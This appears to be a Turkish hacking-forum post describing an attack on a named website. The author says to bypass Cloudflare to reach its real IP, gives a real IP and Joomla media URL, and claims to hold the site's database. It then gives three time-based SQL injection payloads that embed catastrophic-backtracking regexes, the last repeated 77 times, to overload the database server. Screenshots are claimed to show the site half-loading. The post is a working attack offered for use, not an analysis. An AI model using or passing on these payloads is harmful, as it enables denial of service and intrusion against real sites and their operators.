pkkonline.com'a tek atıyoruz//sql injection ve regex dos içerir//Insider

'Insider

Katılımcı Üye
2 Eki 2016
654
0
0.0.0.0/0

[ame]https://www.youtube.com/watch?v=eLzVNkzUvtQ[/ame]


her şeyden önce bu açığı kullanabilmek için cloudflare bypass edip gerçek iplerini bulmamız gerekiyor. hiç de zor değil.

ByZ7m9.png


zaten bu sitenin database'i elimde. linke giriyoruz.

http://46.166.160.204/tr/?option=com_media&view=images

içinde tek bir evil-regex geçen sorgumuzu çalıştıralım. bakalım kaç saniye sürecek?
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$") FROM 1 FOR 1))>51)||'
5,5 saniye sürdü.

ZOLogA.png


şimdi aynı sorguyu iki kez yapan başka bir sorgu deneyelim. işlem süresinin uzaması lazım.
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$") FROM 1 FOR 1))>51)||'
12.37 saniye sürdü.

o6A4P2.png


sorguyu uzatalım. uzatalım ki aynı sorguyu onlarca kez uygulayıp re-dosumuzu gerçekleştirelim.
Kod:
'||(SELECT 'www.turkhackteam.org' FROM DUAL WHERE 1=1 AND ORD(MID((SELECT COUNT(id) FROM articles WHERE content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ad)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ae)*)+$" or content RLIKE "^((ab)*)+$" or content RLIKE "^((ac)*)+$") FROM 1 FOR 1))>51)||'
yukarıdaki sorguda 77 adet Regex araması var. yani ilk sorgumuzun 77 katı kadar geç cevap vermesini umuyorum. ilk sorgumuz 6 saniye civarında sürmüştü. o halde bu, 6*77 saniye sürecek.yani yaklaşık olarak 10 dakika.

bir kaç f5 yapmaktan zarar gelmez. yaklaşık 10-15 kez f5 yaptım. şimdi siteye tekrar bakalım. açılıyor mu?

V3lW5V.png


gördüğünüz gibi sadece header kısmı yüklendi, sql sunucusuna çok yük bindiği için sitenin aslı yüklenemedi.

 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.